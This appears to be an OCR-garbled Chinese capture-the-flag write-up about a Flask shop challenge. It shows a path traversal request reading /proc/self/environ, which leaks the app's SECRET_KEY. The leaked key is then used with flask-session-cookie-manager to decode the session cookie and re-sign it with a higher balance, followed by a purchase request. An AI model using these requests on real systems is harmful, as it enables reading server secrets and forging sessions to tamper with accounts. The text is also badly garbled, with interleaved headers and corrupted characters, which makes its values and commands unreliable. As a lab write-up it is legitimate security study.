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GET /download?image=../../../. . /.. /.. /. . /proc/self/environ A HTTP/1.0 200 0K

HTTP/1. 1 Content—Type: text/html; charset=utf-8

Host: 220.249.52.134:41917 Content—Length: 501

Upgrade—Insecure—Requests: 1 Content—Disposition: attachment; filename="environ"
User—Agent: Mozilla/5.0 (Windows NT 10.0; Wifi6d; x64) Server: Werkzeug/0.15.5 Python/3. 9.1
AppleWebKit/537. 36 (KHTML, |ike Gecko) Chfome/87.0.4280. 141 Date: Fri, 15 Jan 2021 07:50:07 GMT

Safari/537.36 Edg/87.0.664.75
Accept: HOSTNAME=8cédeef34de5[1SECRET_KEY=1YTcx5wqQ3kmwr vXTSktz
text/html, application/xhtml+xml, _abplication/xml;q=0.9, image/w rcZh27KKh8wqOxEME I 9 IPYT) _PIP_VERSI0N=20. 3. 3[JSHLVL=
ebp, image/apng, */*;q=0. 8, app | i€ation/signed-exchange;v=b3;q=0 1JHOME=/root []GPG_KE 3FF2839C048B25C084DEBEYB246995E

T

.9 310250568 ]PYTHON _PIP_URL=https://github. com/pypa/
Accept—Language: get—pip/raw/5f38681f7f5872e4032860b54e%cc11cf0374932/¢
zh—CN, zh;g=0. 9, en; g=0. 8, en—GB;g=0. 7, en-US;g=0. 6 et—pip. py[] _CONCURRENCY=1[_IPATH=/usr/local/bin: /usr
Cookie: PHPSESSID=j5rto3esnng j405h967184%eqb: /local /shif:/usr/local /bin:/usr/sbin:/usr/bin:/sbin:/b

session=eyJiYWxhbmN| | joxMzM2LCJwdXJ jaGFzZXMi0|tdfQ. YAF I bg. EGE in[ILANG=C. UTF—8[IPYTHON_VERS ION=3. 9. 1 LIPWD=/IPYTHON_G
JFMFMUWgeWHF j TEJuB—ovTnA ET_PIP_SHA256=6a0b13826862f33c13b614a921d36253bfalae’7
Connection: close 965Fbf569876f3585057e9d2[ |

HEBIXASECRET_KEY, —& ) )LER 3
¥ Bl key R F 3k in 2 Flaski¥ Cookieff], #4, Cookietml LAME# T, github k75 B B i 1 A T LA
H: https://github.com/noraj/flask-session-cookie-manager

1] LLf# i Cookieff] ) & {“balance”:1336,“purchases”:[]}, #B4 i balancet 5% 13385k 7l LA L flag T

o # python2 flask_session_cookie_manag
er2.py decode -c "eyJiiYWxhbmN1lIjoxMzM2LCIwdX]jaGFzZXM101tdfQ.YAFIbg.EGEIFMFMUWgeW
HFJTEJu8-ovTnA'

{"balance":1336, "purchases":[]}

# python2 flask_session_cookie_manag

er2.py encode -< "NkA1ELyv9K9z8@51XAgcflaQliwbH3t8sQdozWrx' -t "{'purchases': [],
'balance': 1338}"
eyJiYWxhbmN1IjoxMzM4LCIwdXIjaGFzZXMi01tdfQ. EuL1Cg. XeglpCorwYlh-GGiGI6KYCnC-1U
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URL
http://220.249.52.134:51404/

enctype

# Enable POST application/x-www-form-urlencoded - ADD

Body
item=5
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